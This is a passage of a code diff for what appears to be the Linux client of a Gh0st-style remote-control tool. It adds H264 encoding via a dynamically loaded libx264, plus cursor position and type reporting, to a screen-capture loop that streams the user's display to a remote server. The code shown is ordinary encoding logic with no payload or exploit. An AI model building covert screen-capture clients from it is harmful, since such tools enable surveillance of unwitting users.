// 应用算法(带降级处理)
|
||||||
uint8_t algo = GetEffectiveAlgorithm(profile.algorithm);
|
uint8_t algo = GetEffectiveAlgorithm(profile.algorithm);
|
||||||
|
uint8_t oldAlgo = m_bAlgorithm.load();
|
||||||
m_bAlgorithm.store(algo);
|
m_bAlgorithm.store(algo);
|
||||||
|
|
||||||
Mprintf(">>> Quality: Level=%d, FPS=%d, Algo=%d->%d\n",
|
// 如果 H264 参数变化,需要重新初始化编码器
|
||||||
level, profile.maxFPS, profile.algorithm, algo);
|
if (algo == ALGORITHM_H264 && oldAlgo == ALGORITHM_H264 &&
|
||||||
|
(oldBitrate != m_h264Bitrate)) {
|
||||||
|
// 码率变化,重置编码器(下次编码时重新初始化)
|
||||||
|
if (m_h264Encoder) {
|
||||||
|
m_h264Encoder->close();
|
||||||
|
m_h264Encoder.reset();
|
||||||
|
Mprintf(">>> H264 encoder reset due to bitrate change\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Mprintf(">>> Quality: Level=%d, FPS=%d, Algo=%d->%d, Bitrate=%d\n",
|
||||||
|
level, profile.maxFPS, profile.algorithm, algo, profile.bitRate);
|
||||||
} else {
|
} else {
|
||||||
// 自适应模式 (level=-1):由服务端动态调整,不做处理
|
// 自适应模式 (level=-1):由服务端动态调整,不做处理
|
||||||
Mprintf(">>> Quality: Adaptive mode\n");
|
Mprintf(">>> Quality: Adaptive mode\n");
|
||||||
@@ -1044,11 +1133,15 @@ private:
|
|||||||
std::vector<uint8_t> m_diffBuffer;
|
std::vector<uint8_t> m_diffBuffer;
|
||||||
|
|
||||||
// 自适应质量控制
|
// 自适应质量控制
|
||||||
std::atomic<uint8_t> m_bAlgorithm; // 当前算法 (ALGORITHM_DIFF/RGB565/GRAY)
|
std::atomic<uint8_t> m_bAlgorithm; // 当前算法 (ALGORITHM_DIFF/RGB565/GRAY/H264)
|
||||||
std::atomic<int> m_maxFPS; // 最大帧率
|
std::atomic<int> m_maxFPS; // 最大帧率
|
||||||
int8_t m_qualityLevel; // 当前质量等级 (-1=自适应, 0-5=具体等级)
|
int8_t m_qualityLevel; // 当前质量等级 (-1=自适应, 0-5=具体等级)
|
||||||
LinuxConfig m_config; // 配置持久化 (~/.config/ghost/config.conf)
|
LinuxConfig m_config; // 配置持久化 (~/.config/ghost/config.conf)
|
||||||
|
|
||||||
|
// H264 编码器
|
||||||
|
std::unique_ptr<X264Encoder> m_h264Encoder;
|
||||||
|
int m_h264Bitrate; // 码率 (kbps)
|
||||||
|
|
||||||
// X11 截屏,输出 BGRA 格式(自底向上,与 BMP 一致)
|
// X11 截屏,输出 BGRA 格式(自底向上,与 BMP 一致)
|
||||||
// 使用 XCopyArea 将 root window 拷贝到离屏 Pixmap,再对 Pixmap 调用 XGetImage
|
// 使用 XCopyArea 将 root window 拷贝到离屏 Pixmap,再对 Pixmap 调用 XGetImage
|
||||||
// 这样可以避免合成窗口管理器(Mutter 等)导致的 BadMatch 错误
|
// 这样可以避免合成窗口管理器(Mutter 等)导致的 BadMatch 错误
|
||||||
@@ -1120,13 +1213,14 @@ private:
|
|||||||
uint8_t algo = m_bAlgorithm.load();
|
uint8_t algo = m_bAlgorithm.load();
|
||||||
memcpy(data, &algo, sizeof(uint8_t));
|
memcpy(data, &algo, sizeof(uint8_t));
|
||||||
|
|
||||||
// 写入光标位置 (Linux 端简单置 0)
|
// 写入光标位置
|
||||||
int32_t cursorX = 0, cursorY = 0;
|
int32_t cursorX = 0, cursorY = 0;
|
||||||
|
GetCursorPosition(cursorX, cursorY);
|
||||||
memcpy(data + 1, &cursorX, sizeof(int32_t));
|
memcpy(data + 1, &cursorX, sizeof(int32_t));
|
||||||
memcpy(data + 1 + sizeof(int32_t), &cursorY, sizeof(int32_t));
|
memcpy(data + 1 + sizeof(int32_t), &cursorY, sizeof(int32_t));
|
||||||
|
|
||||||
// 写入光标类型
|
// 写入光标类型 (使用 XFixes 检测)
|
||||||
uint8_t cursorType = 0;
|
uint8_t cursorType = GetCursorTypeIndex();
|
||||||
memcpy(data + 1 + 2 * sizeof(int32_t), &cursorType, sizeof(uint8_t));
|
memcpy(data + 1 + 2 * sizeof(int32_t), &cursorType, sizeof(uint8_t));
|
||||||
|
|
||||||
uint32_t headerSize = 1 + 2 * sizeof(int32_t) + 1; // algo + cursor + cursorType
|
uint32_t headerSize = 1 + 2 * sizeof(int32_t) + 1; // algo + cursor + cursorType
|
||||||
@@ -1141,6 +1235,60 @@ private:
|
|||||||
std::swap(m_prevFrame, m_currFrame);
|
std::swap(m_prevFrame, m_currFrame);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 发送 H264 编码帧
|
||||||
|
void SendH264Frame(bool forceKeyframe = false)
|
||||||
|
{
|
||||||
|
if (!CaptureScreen(m_currFrame)) return;
|
||||||
|
if (!m_client) return;
|
||||||
|
|
||||||
|
// 惰性初始化编码器
|
||||||
|
if (!m_h264Encoder) {
|
||||||
|
m_h264Encoder.reset(new X264Encoder());
|
||||||
|
int fps = m_maxFPS.load();
|
||||||
|
if (fps <= 0) fps = 20;
|
||||||
|
int crf = BitRateToCRF(m_h264Bitrate);
|
||||||
|
if (!m_h264Encoder->open(m_bmpHeader.biWidth, m_bmpHeader.biHeight, fps, crf)) {
|
||||||
|
Mprintf("*** H264 encoder init failed, falling back to RGB565\n");
|
||||||
|
m_bAlgorithm.store(ALGORITHM_RGB565);
|
||||||
|
m_h264Encoder.reset();
|
||||||
|
SendDiffFrame();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Mprintf(">>> H264 encoder initialized: %dx%d @ %d fps, CRF=%d\n",
|
||||||
|
m_bmpHeader.biWidth, m_bmpHeader.biHeight, fps, crf);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 编码当前帧
|
||||||
|
uint8_t* encodedData = nullptr;
|
||||||
|
uint32_t encodedSize = 0;
|
||||||
|
|
||||||
|
// direction=1 表示 bottom-up (BMP 格式)
|
||||||
|
int result = m_h264Encoder->encode(
|
||||||
|
m_currFrame.data(), 32, m_bmpHeader.biWidth * 4,
|
||||||
|
m_bmpHeader.biWidth, m_bmpHeader.biHeight,
|
||||||
|
&encodedData, &encodedSize, 1);
|
||||||
|
|
||||||
|
if (result != 0 || !encodedData || encodedSize == 0) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 构建数据包: [TOKEN_NEXTSCREEN][algo][cursorX][cursorY][cursorType][H264Data]
|
||||||
|
uint32_t headerSize = 1 + 1 + 2 * sizeof(int32_t) + 1;
|
||||||
|
std::vector<uint8_t> packet(headerSize + encodedSize);
|
||||||
|
|
||||||
|
packet[0] = TOKEN_NEXTSCREEN;
|
||||||
|
packet[1] = ALGORITHM_H264;
|
||||||
|
|
||||||
|
int32_t cursorX = 0, cursorY = 0;
|
||||||
|
GetCursorPosition(cursorX, cursorY);
|
||||||
|
memcpy(&packet[2], &cursorX, sizeof(int32_t));
|
||||||
|
memcpy(&packet[6], &cursorY, sizeof(int32_t));
|
||||||
|
packet[10] = GetCursorTypeIndex(); // 使用 XFixes 检测光标类型
|
||||||
|
|
||||||
|
memcpy(&packet[headerSize], encodedData, encodedSize);
|
||||||
|
m_client->Send2Server((char*)packet.data(), packet.size());
|
||||||
|
}
|
||||||
|
|
||||||
// 差异比较算法(支持 DIFF/RGB565/GRAY)
|
// 差异比较算法(支持 DIFF/RGB565/GRAY)
|
||||||
// 输出格式: [byteOffset(4) + length(4) + pixel data] ...
|
// 输出格式: [byteOffset(4) + length(4) + pixel data] ...
|
||||||
// DIFF: length = 字节数, data = BGRA 原始数据
|
// DIFF: length = 字节数, data = BGRA 原始数据
|
||||||
@@ -1224,6 +1372,118 @@ private:
|
|||||||
return (uint64_t)ts.tv_sec * 1000 + ts.tv_nsec / 1000000;
|
return (uint64_t)ts.tv_sec * 1000 + ts.tv_nsec / 1000000;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 获取光标位置
|
||||||
|
void GetCursorPosition(int32_t& x, int32_t& y)
|
||||||
|
{
|
||||||
|
x = 0;
|
||||||
|
y = 0;
|
||||||
|
|
||||||
|
// 检查是否正在运行和资源是否有效
|
||||||
|
if (!m_running.load() || m_destroyed.load()) {
|
||||||
|
static bool warned = false;
|
||||||
|
if (!warned) {
|
||||||
|
Mprintf("*** GetCursorPosition: skipped (running=%d, destroyed=%d)\n",
|
||||||
|
m_running.load(), m_destroyed.load());
|
||||||
|
warned = true;
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
Display* display = m_display; // 局部拷贝
|
||||||
|
if (!display || !m_x11.pXQueryPointer) {
|
||||||
|
static bool warned = false;
|
||||||
|
if (!warned) {
|
||||||
|
Mprintf("*** GetCursorPosition: display=%p, pXQueryPointer=%p\n",
|
||||||
|
(void*)display, (void*)m_x11.pXQueryPointer);
|
||||||
|
warned = true;
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
Window root_return, child_return;
|
||||||
|
int root_x, root_y, win_x, win_y;
|
||||||
|
unsigned int mask;
|
||||||
|
|
||||||
|
if (m_x11.pXQueryPointer(display, m_root, &root_return, &child_return,
|
||||||
|
&root_x, &root_y, &win_x, &win_y, &mask)) {
|
||||||
|
x = root_x;
|
||||||
|
y = root_y;
|
||||||
|
|
||||||
|
// Clamp to screen bounds
|
||||||
|
if (x < 0) x = 0;
|
||||||
|
if (y < 0) y = 0;
|
||||||
|
if (x >= m_width) x = m_width - 1;
|
||||||
|
if (y >= m_height) y = m_height - 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取光标类型索引(映射到 Windows 光标类型)
|
||||||
|
// Windows cursor type indices (from CursorInfo.h):
|
||||||
|
// 0: IDC_APPSTARTING, 1: IDC_ARROW, 2: IDC_CROSS, 3: IDC_HAND,
|
||||||
|
// 4: IDC_HELP, 5: IDC_IBEAM, 6: IDC_ICON, 7: IDC_NO,
|
||||||
|
// 8: IDC_SIZE, 9: IDC_SIZEALL, 10: IDC_SIZENESW, 11: IDC_SIZENS,
|
||||||
|
// 12: IDC_SIZENWSE, 13: IDC_SIZEWE, 14: IDC_UPARROW, 15: IDC_WAIT
|
||||||
|
uint8_t GetCursorTypeIndex()
|
||||||
|
{
|
||||||
|
// Cache result and throttle to avoid performance impact
|
||||||
|
static uint8_t cachedIndex = 1; // Default: IDC_ARROW
|
||||||
|
static uint64_t lastCheckTime = 0;
|
||||||
|
static unsigned long lastCursorSerial = 0;
|
||||||
|
|
||||||
|
// Throttle: check at most every 100ms
|
||||||
|
uint64_t now = GetTickMs();
|
||||||
|
if ((now - lastCheckTime) < 100) {
|
||||||
|
return cachedIndex;
|
||||||
|
}
|
||||||
|
lastCheckTime = now;
|
||||||
|
|
||||||
|
// Check if XFixes is available and XFree is loaded
|
||||||
|
if (!m_x11.HasXFixes() || !m_x11.pXFree || !m_display) {
|
||||||
|
return 1; // IDC_ARROW
|
||||||
|
}
|
||||||
|
|
||||||
|
// Get current cursor image
|
||||||
|
XFixesCursorImage* cursorImg = m_x11.pXFixesGetCursorImage(m_display);
|
||||||
|
if (!cursorImg) {
|
||||||
|
return cachedIndex;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check if cursor changed (using serial number)
|
||||||
|
if (cursorImg->cursor_serial == lastCursorSerial) {
|
||||||
|
// Cursor hasn't changed, use cached value
|
||||||
|
// Note: We need to free the cursor image
|
||||||
|
// XFixes allocates this with Xlib's allocator
|
||||||
|
m_x11.pXFree(cursorImg);
|
||||||
|
return cachedIndex;
|
||||||
|
}
|
||||||
|
lastCursorSerial = cursorImg->cursor_serial;
|
||||||
|
|
||||||
|
// Analyze cursor characteristics to determine type
|
||||||
|
uint8_t index = 1; // Default to IDC_ARROW
|
||||||
|
|
||||||
|
unsigned short w = cursorImg->width;
|
||||||
|
unsigned short h = cursorImg->height;
|
||||||
|
unsigned short xhot = cursorImg->xhot;
|
||||||
|
unsigned short yhot = cursorImg->yhot;
|
||||||
|
|
||||||
|
// Heuristic-based cursor type detection (conservative approach):
|
||||||
|
// Only detect distinctive cursor types to minimize false positives
|
||||||
|
|
||||||
|
// IBEAM (text cursor): very narrow, tall cursor
|
||||||
|
if (w <= 8 && h >= 12 && xhot <= w/2 + 1) {
|
||||||
|
index = 5; // IDC_IBEAM
|
||||||
|
}
|
||||||
|
// HAND (pointing): hotspot at top-left area (finger tip)
|
||||||
|
else if (w >= 18 && h >= 20 && xhot <= 10 && yhot <= 5) {
|
||||||
|
index = 3; // IDC_HAND
|
||||||
|
}
|
||||||
|
// All other cursors default to ARROW
|
||||||
|
|
||||||
|
cachedIndex = index;
|
||||||
|
m_x11.pXFree(cursorImg);
|
||||||
|
return index;
|
||||||
|
}
|
||||||
|
|
||||||
// 截屏主循环
|
// 截屏主循环
|
||||||
void CaptureLoop()
|
void CaptureLoop()
|
||||||
{
|
{
|
||||||
@@ -1233,10 +1493,34 @@ private:
|
|||||||
// 发送第一帧
|
// 发送第一帧
|
||||||
SendFirstScreen();
|
SendFirstScreen();
|
||||||
|
|
||||||
|
uint8_t currentAlgo = m_bAlgorithm.load();
|
||||||
|
|
||||||
while (m_running) {
|
while (m_running) {
|
||||||
uint64_t start = GetTickMs();
|
uint64_t start = GetTickMs();
|
||||||
|
uint8_t algo = m_bAlgorithm.load();
|
||||||
|
|
||||||
|
// 算法切换处理
|
||||||
|
if (algo != currentAlgo) {
|
||||||
|
currentAlgo = algo;
|
||||||
|
if (algo == ALGORITHM_H264) {
|
||||||
|
// 切换到 H264,发送关键帧
|
||||||
|
SendH264Frame(true);
|
||||||
|
} else {
|
||||||
|
// 切换离开 H264,关闭编码器并发送完整帧
|
||||||
|
if (m_h264Encoder) {
|
||||||
|
m_h264Encoder->close();
|
||||||
|
m_h264Encoder.reset();
|
||||||
|
}
|
||||||
|
SendFirstScreen();
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// 正常帧
|
||||||
|
if (algo == ALGORITHM_H264) {
|
||||||
|
SendH264Frame(false);
|
||||||
|
} else {
|
||||||
SendDiffFrame();
|
SendDiffFrame();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// 动态计算帧间隔(根据当前 maxFPS)
|
// 动态计算帧间隔(根据当前 maxFPS)
|
||||||
int fps = m_maxFPS.load();
|
int fps = m_maxFPS.load();
|
||||||
@@ -1250,6 +1534,12 @@ private:
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 清理 H264 编码器
|
||||||
|
if (m_h264Encoder) {
|
||||||
|
m_h264Encoder->close();
|
||||||
|
m_h264Encoder.reset();
|
||||||
|
}
|
||||||
|
|
||||||
Mprintf(">>> ScreenHandler CaptureLoop stopped\n");
|
Mprintf(">>> ScreenHandler CaptureLoop stopped\n");
|
||||||
} catch (const std::exception& e) {
|
} catch (const std::exception& e) {
|
||||||
Mprintf("*** CaptureLoop exception: %s ***\n", e.what());
|
Mprintf("*** CaptureLoop exception: %s ***\n", e.what());
|
||||||
|
|||||||
471
linux/X264Encoder.h
Normal file
471
linux/X264Encoder.h
Normal file
@@ -0,0 +1,471 @@
|
|||||||
|
#pragma once
|
||||||
|
/**
|
||||||
|
* X264Encoder.h - Linux H264 Encoder using libx264
|
||||||
|
*
|
||||||
|
* Features:
|
||||||
|
* - Dynamic library loading (dlopen/dlsym)
|
||||||
|
* - Automatic fallback if libx264 not available
|
||||||
|
* - Manual BGRA→I420 conversion (no libyuv dependency)
|
||||||
|
* - API compatible with Windows X264Encoder
|
||||||
|
*
|
||||||
|
* Requirements:
|
||||||
|
* - libx264 installed (apt install libx264-dev)
|
||||||
|
* - If not installed, H264 encoding is disabled
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <cstring>
|
||||||
|
#include <cstdlib>
|
||||||
|
#include <dlfcn.h>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
// Include x264 header for struct definitions
|
||||||
|
// The library is dynamically loaded at runtime
|
||||||
|
extern "C" {
|
||||||
|
#include "../compress/x264/x264.h"
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============== X264Encoder Class ==============
|
||||||
|
|
||||||
|
class X264Encoder {
|
||||||
|
public:
|
||||||
|
// Check if libx264 is available on this system
|
||||||
|
static bool IsAvailable() {
|
||||||
|
static int available = -1;
|
||||||
|
if (available < 0) {
|
||||||
|
void* handle = TryLoadLibrary();
|
||||||
|
available = (handle != nullptr) ? 1 : 0;
|
||||||
|
if (handle) {
|
||||||
|
dlclose(handle);
|
||||||
|
fprintf(stderr, ">>> X264Encoder: libx264 available\n");
|
||||||
|
} else {
|
||||||
|
fprintf(stderr, "*** X264Encoder: libx264 not found (%s)\n", dlerror());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return available == 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
X264Encoder()
|
||||||
|
: m_x264Handle(nullptr)
|
||||||
|
, m_encoder(nullptr)
|
||||||
|
, m_picIn(nullptr)
|
||||||
|
, m_picOut(nullptr)
|
||||||
|
, m_width(0)
|
||||||
|
, m_height(0)
|
||||||
|
{
|
||||||
|
memset(&m_param, 0, sizeof(m_param));
|
||||||
|
clearFunctionPointers();
|
||||||
|
}
|
||||||
|
|
||||||
|
~X264Encoder() {
|
||||||
|
close();
|
||||||
|
}
|
||||||
|
|
||||||
|
bool open(int width, int height, int fps, int crf) {
|
||||||
|
close();
|
||||||
|
|
||||||
|
// Load library
|
||||||
|
if (!loadLibrary()) {
|
||||||
|
fprintf(stderr, "*** X264Encoder::open: loadLibrary failed\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Round to even dimensions (H264 requirement)
|
||||||
|
m_width = width & ~1;
|
||||||
|
m_height = height & ~1;
|
||||||
|
|
||||||
|
// Initialize parameters
|
||||||
|
if (fn_x264_param_default_preset) {
|
||||||
|
fn_x264_param_default_preset(&m_param, "ultrafast", "zerolatency");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Set encoder parameters
|
||||||
|
m_param.i_width = m_width;
|
||||||
|
m_param.i_height = m_height;
|
||||||
|
m_param.i_log_level = X264_LOG_NONE;
|
||||||
|
m_param.i_threads = 1;
|
||||||
|
m_param.i_frame_total = 0;
|
||||||
|
m_param.i_keyint_max = fps * 15; // Keyframe every 15 seconds
|
||||||
|
m_param.i_bframe = 0; // No B-frames for low latency
|
||||||
|
m_param.b_open_gop = 0;
|
||||||
|
m_param.i_fps_num = fps;
|
||||||
|
m_param.i_fps_den = 1;
|
||||||
|
m_param.i_csp = X264_CSP_I420;
|
||||||
|
|
||||||
|
// Rate control: CRF mode
|
||||||
|
m_param.rc.i_rc_method = X264_RC_CRF;
|
||||||
|
m_param.rc.f_rf_constant = (float)crf;
|
||||||
|
|
||||||
|
// Apply baseline profile for compatibility
|
||||||
|
if (fn_x264_param_apply_profile) {
|
||||||
|
fn_x264_param_apply_profile(&m_param, "baseline");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Allocate pictures
|
||||||
|
m_picIn = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
|
||||||
|
m_picOut = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
|
||||||
|
if (!m_picIn || !m_picOut) {
|
||||||
|
close();
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Initialize input picture
|
||||||
|
if (fn_x264_picture_init) {
|
||||||
|
fn_x264_picture_init(m_picIn);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Allocate picture buffer
|
||||||
|
if (fn_x264_picture_alloc) {
|
||||||
|
if (fn_x264_picture_alloc(m_picIn, X264_CSP_I420, m_width, m_height) < 0) {
|
||||||
|
close();
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Open encoder
|
||||||
|
m_encoder = fn_x264_encoder_open(&m_param);
|
||||||
|
if (!m_encoder) {
|
||||||
|
close();
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
void close() {
|
||||||
|
if (m_encoder && fn_x264_encoder_close) {
|
||||||
|
fn_x264_encoder_close(m_encoder);
|
||||||
|
m_encoder = nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (m_picIn) {
|
||||||
|
if (fn_x264_picture_clean) {
|
||||||
|
fn_x264_picture_clean(m_picIn);
|
||||||
|
}
|
||||||
|
free(m_picIn);
|
||||||
|
m_picIn = nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (m_picOut) {
|
||||||
|
free(m_picOut);
|
||||||
|
m_picOut = nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
unloadLibrary();
|
||||||
|
m_width = m_height = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Encode a frame
|
||||||
|
* @param bgra Input BGRA image data
|
||||||
|
* @param bpp Bits per pixel (24 or 32)
|
||||||
|
* @param stride Bytes per row
|
||||||
|
* @param width Image width
|
||||||
|
* @param height Image height
|
||||||
|
* @param outData Output: pointer to encoded H264 data
|
||||||
|
* @param outSize Output: size of encoded data
|
||||||
|
* @param direction 1 = normal, -1 = vertical flip
|
||||||
|
* @return 0 on success, negative on error
|
||||||
|
*/
|
||||||
|
int encode(uint8_t* bgra, uint8_t bpp, uint32_t stride,
|
||||||
|
uint32_t width, uint32_t height,
|
||||||
|
uint8_t** outData, uint32_t* outSize,
|
||||||
|
int direction = 1)
|
||||||
|
{
|
||||||
|
if (!m_encoder || !m_picIn || !fn_x264_encoder_encode) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check dimensions match
|
||||||
|
if ((int)(width & ~1) != m_width || (int)(height & ~1) != m_height) {
|
||||||
|
return -2;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Convert BGRA to I420 directly into x264 picture planes
|
||||||
|
if (bpp == 32) {
|
||||||
|
convertBGRAtoI420(bgra, stride, direction,
|
||||||
|
m_picIn->img.plane[0], m_picIn->img.i_stride[0],
|
||||||
|
m_picIn->img.plane[1], m_picIn->img.i_stride[1],
|
||||||
|
m_picIn->img.plane[2], m_picIn->img.i_stride[2]);
|
||||||
|
} else if (bpp == 24) {
|
||||||
|
convertRGB24toI420(bgra, stride, direction,
|
||||||
|
m_picIn->img.plane[0], m_picIn->img.i_stride[0],
|
||||||
|
m_picIn->img.plane[1], m_picIn->img.i_stride[1],
|
||||||
|
m_picIn->img.plane[2], m_picIn->img.i_stride[2]);
|
||||||
|
} else {
|
||||||
|
return -3;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Encode
|
||||||
|
x264_nal_t* pNal = nullptr;
|
||||||
|
int iNal = 0;
|
||||||
|
int encodeSize = fn_x264_encoder_encode(m_encoder, &pNal, &iNal, m_picIn, m_picOut);
|
||||||
|
|
||||||
|
if (encodeSize < 0) {
|
||||||
|
return -4;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (encodeSize == 0 || !pNal) {
|
||||||
|
*outData = nullptr;
|
||||||
|
*outSize = 0;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
*outData = pNal->p_payload;
|
||||||
|
*outSize = encodeSize;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
// Library handle
|
||||||
|
void* m_x264Handle;
|
||||||
|
|
||||||
|
// Encoder state
|
||||||
|
x264_t* m_encoder;
|
||||||
|
x264_param_t m_param;
|
||||||
|
x264_picture_t* m_picIn;
|
||||||
|
x264_picture_t* m_picOut;
|
||||||
|
int m_width, m_height;
|
||||||
|
|
||||||
|
// x264 function pointers
|
||||||
|
void (*fn_x264_param_default_preset)(x264_param_t*, const char*, const char*);
|
||||||
|
int (*fn_x264_param_apply_profile)(x264_param_t*, const char*);
|
||||||
|
x264_t* (*fn_x264_encoder_open)(x264_param_t*);
|
||||||
|
void (*fn_x264_encoder_close)(x264_t*);
|
||||||
|
int (*fn_x264_encoder_encode)(x264_t*, x264_nal_t**, int*, x264_picture_t*, x264_picture_t*);
|
||||||
|
void (*fn_x264_picture_init)(x264_picture_t*);
|
||||||
|
int (*fn_x264_picture_alloc)(x264_picture_t*, int, int, int);
|
||||||
|
void (*fn_x264_picture_clean)(x264_picture_t*);
|
||||||
|
|
||||||
|
void clearFunctionPointers() {
|
||||||
|
fn_x264_param_default_preset = nullptr;
|
||||||
|
fn_x264_param_apply_profile = nullptr;
|
||||||
|
fn_x264_encoder_open = nullptr;
|
||||||
|
fn_x264_encoder_close = nullptr;
|
||||||
|
fn_x264_encoder_encode = nullptr;
|
||||||
|
fn_x264_picture_init = nullptr;
|
||||||
|
fn_x264_picture_alloc = nullptr;
|
||||||
|
fn_x264_picture_clean = nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void* TryLoadLibrary() {
|
||||||
|
// Try multiple library versions (newest first)
|
||||||
|
const char* libNames[] = {
|
||||||
|
"libx264.so", // symlink (if exists)
|
||||||
|
"libx264.so.164", // Ubuntu 24, Debian 12+
|
||||||
|
"libx264.so.163",
|
||||||
|
"libx264.so.162",
|
||||||
|
"libx264.so.161",
|
||||||
|
"libx264.so.160",
|
||||||
|
"libx264.so.159",
|
||||||
|
"libx264.so.157",
|
||||||
|
"libx264.so.155", // Ubuntu 20
|
||||||
|
"libx264.so.152",
|
||||||
|
"libx264.so.148", // older distros
|
||||||
|
nullptr
|
||||||
|
};
|
||||||
|
|
||||||
|
for (int i = 0; libNames[i]; i++) {
|
||||||
|
void* handle = dlopen(libNames[i], RTLD_LAZY);
|
||||||
|
if (handle) return handle;
|
||||||
|
}
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool loadLibrary() {
|
||||||
|
m_x264Handle = TryLoadLibrary();
|
||||||
|
if (!m_x264Handle) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Load functions
|
||||||
|
fn_x264_param_default_preset = (decltype(fn_x264_param_default_preset))
|
||||||
|
dlsym(m_x264Handle, "x264_param_default_preset");
|
||||||
|
|
||||||
|
fn_x264_param_apply_profile = (decltype(fn_x264_param_apply_profile))
|
||||||
|
dlsym(m_x264Handle, "x264_param_apply_profile");
|
||||||
|
|
||||||
|
fn_x264_picture_init = (decltype(fn_x264_picture_init))
|
||||||
|
dlsym(m_x264Handle, "x264_picture_init");
|
||||||
|
|
||||||
|
fn_x264_picture_alloc = (decltype(fn_x264_picture_alloc))
|
||||||
|
dlsym(m_x264Handle, "x264_picture_alloc");
|
||||||
|
|
||||||
|
fn_x264_picture_clean = (decltype(fn_x264_picture_clean))
|
||||||
|
dlsym(m_x264Handle, "x264_picture_clean");
|
||||||
|
|
||||||
|
fn_x264_encoder_close = (decltype(fn_x264_encoder_close))
|
||||||
|
dlsym(m_x264Handle, "x264_encoder_close");
|
||||||
|
|
||||||
|
// x264_encoder_open has version suffix based on X264_BUILD
|
||||||
|
// Try common versions in order (newest first)
|
||||||
|
const char* openNames[] = {
|
||||||
|
"x264_encoder_open_164",
|
||||||
|
"x264_encoder_open_163",
|
||||||
|
"x264_encoder_open_162",
|
||||||
|
"x264_encoder_open_161",
|
||||||
|
"x264_encoder_open_160",
|
||||||
|
"x264_encoder_open_159",
|
||||||
|
"x264_encoder_open_157",
|
||||||
|
"x264_encoder_open_155",
|
||||||
|
"x264_encoder_open_152",
|
||||||
|
"x264_encoder_open_148",
|
||||||
|
nullptr
|
||||||
|
};
|
||||||
|
|
||||||
|
for (int i = 0; openNames[i]; i++) {
|
||||||
|
fn_x264_encoder_open = (decltype(fn_x264_encoder_open))
|
||||||
|
dlsym(m_x264Handle, openNames[i]);
|
||||||
|
if (fn_x264_encoder_open) {
|
||||||
|
fprintf(stderr, ">>> X264Encoder: found %s\n", openNames[i]);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn_x264_encoder_encode = (decltype(fn_x264_encoder_encode))
|
||||||
|
dlsym(m_x264Handle, "x264_encoder_encode");
|
||||||
|
|
||||||
|
// Check required functions
|
||||||
|
if (!fn_x264_encoder_open || !fn_x264_encoder_encode || !fn_x264_encoder_close ||
|
||||||
|
!fn_x264_param_default_preset || !fn_x264_picture_alloc) {
|
||||||
|
fprintf(stderr, "*** X264Encoder: missing functions - open=%p encode=%p close=%p preset=%p alloc=%p\n",
|
||||||
|
(void*)fn_x264_encoder_open, (void*)fn_x264_encoder_encode,
|
||||||
|
(void*)fn_x264_encoder_close, (void*)fn_x264_param_default_preset,
|
||||||
|
(void*)fn_x264_picture_alloc);
|
||||||
|
unloadLibrary();
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
void unloadLibrary() {
|
||||||
|
if (m_x264Handle) {
|
||||||
|
dlclose(m_x264Handle);
|
||||||
|
m_x264Handle = nullptr;
|
||||||
|
}
|
||||||
|
clearFunctionPointers();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Convert BGRA to I420 (YUV 4:2:0 planar) directly into output planes
|
||||||
|
* Using ITU-R BT.601 coefficients
|
||||||
|
*/
|
||||||
|
void convertBGRAtoI420(const uint8_t* bgra, int stride, int direction,
|
||||||
|
uint8_t* yPlane, int yStride,
|
||||||
|
uint8_t* uPlane, int uStride,
|
||||||
|
uint8_t* vPlane, int vStride) {
|
||||||
|
int srcStride = stride;
|
||||||
|
int w = m_width;
|
||||||
|
int h = m_height;
|
||||||
|
|
||||||
|
// Direction: 1 = normal, -1 = flip vertically
|
||||||
|
int startY = (direction > 0) ? 0 : (h - 1);
|
||||||
|
